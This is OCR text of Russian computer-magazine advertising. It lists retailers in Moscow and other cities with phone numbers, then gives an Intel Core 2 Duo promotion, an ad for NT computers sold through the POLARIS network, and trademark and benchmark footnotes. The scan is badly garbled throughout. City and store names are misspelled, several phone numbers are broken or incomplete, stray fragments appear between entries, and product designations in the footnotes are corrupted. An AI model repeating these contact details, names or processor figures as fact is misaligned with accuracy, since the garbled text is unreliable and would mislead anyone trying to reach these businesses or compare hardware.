(495) 221-72-97, Москва: Старт-Мастер (495) 935-38- 52,Москва: Акситек (495) 784-72-24, Москва: Эльдорадо (495) 500-00-00, Москва: 0 dawn (495) 504-25-31, 

Мосхва: Дилайн (495) 969-22-22,Москва: ULTRA Computers (495) 775-75-66, 729-52-55, Гомель: ДЕЛ (495)250-55-36,Перьм: Гаском (3422) 36-37-75, Волгоград: 

soe dd aga (8442) 90-30-30, Москва: Алмер (495) 101-39-25, Москва: Микросет (495) 924-27-47, Москва: Гипермаркет о 3 Про (495) 542-80-70, 
ор ДВМ.Нева (812) 325 11.05, Нижневартовск: Ланкорд (3466) 61-22-22, Краснодар:Иманго-Краснода (861) 2551 2, 2510-915, Новосибирск: Квеста 

ры 407, Новосибирск: Арсиситек (383) 221-16-89, Волгоград: Техком (8442) 97-59-37, ний Новгород: АйТиОн (8312) 74-85 89, Tamera: Инэкс. Техника 

3452}39-00-36, Электросталь: Домотехника (257) 21488,Иркутсх: Комтек (3952) 258338, „Иркутсх: Билайн (3952) 24-00-24,Красноярсх: Альдо (3912) 21-11-45, 

wneux: Регард Тур (0742) 48-45-73, Воронеж: Сани (0732) 54-00-00, Воронеж: Pet (0732) 77-93-39, Томск: Стек (3822) 55-71 43, Рязань: ДВК (0912) 90-00-00, 

Гомель; Компьютер Маркет (0232) 48. 10-48 Тюмень: Торговый дом «Весы» (3452) 75-00-00, ery a Гермес Tenexom(3532)536-565, Омск; Технопарк (3812) 57-93-19, 

Альметьевск: Компьютерный мир (8553) 25- 98. 48, Воронеж: РИАН (4732)512-412, Лабытнанги: КЦ Ямал (34992)51-777, Ижевск: ЭЛМИ(3412) 50-50-50, Омск: Лик- 2000 


(9912) 28-1) “Дина Виктория" официальный дистрибьютор мониторов компании 19 electronics Ha территории PO. 
товар сертифицирован 


на правах рекламы 


Intel® Core™ 2 Duo 
Процессор, опередивший время 
На 40% быстрее, на 40% экономичнее 


* 


На празах рекламы 


~ 


ь 29 Компьютеры марки <NT> можно приобрести в 
a 3 Федеральной сети компьютерных центров POLARIS 
ae" и унаших региональных дилеров; www.nt.ru 


= эту БЕ 


сотршег 


тел.; (495) 363 9393 


www.nt.ru 


Обозначения Intel, Intel Core, inte! togo, Intel Inside, intel Inside logo и Core inside являются товарнымы знаками, либо зарегистрированными 
товарными знаками, праза на которые принадлежат корпорации Intel или ее подразделениям на 1ерритории США и других стран, 


* Производительность измерялась с помошью эталонного теста производительности SPECInt*_rate_base2000 (2 экземпляре}. 

а энергопо'ребление - по значению тепловыделения (Thermal Design Power, TOP). Сравнывались процессоры Intel) Core™ 2 Duo 26700 
и ыменв) Pentium(R) 0 960. Производнтельность реальной системы может отличиться, Дополнительную информацию можно получить 

на странице у f 19 р 


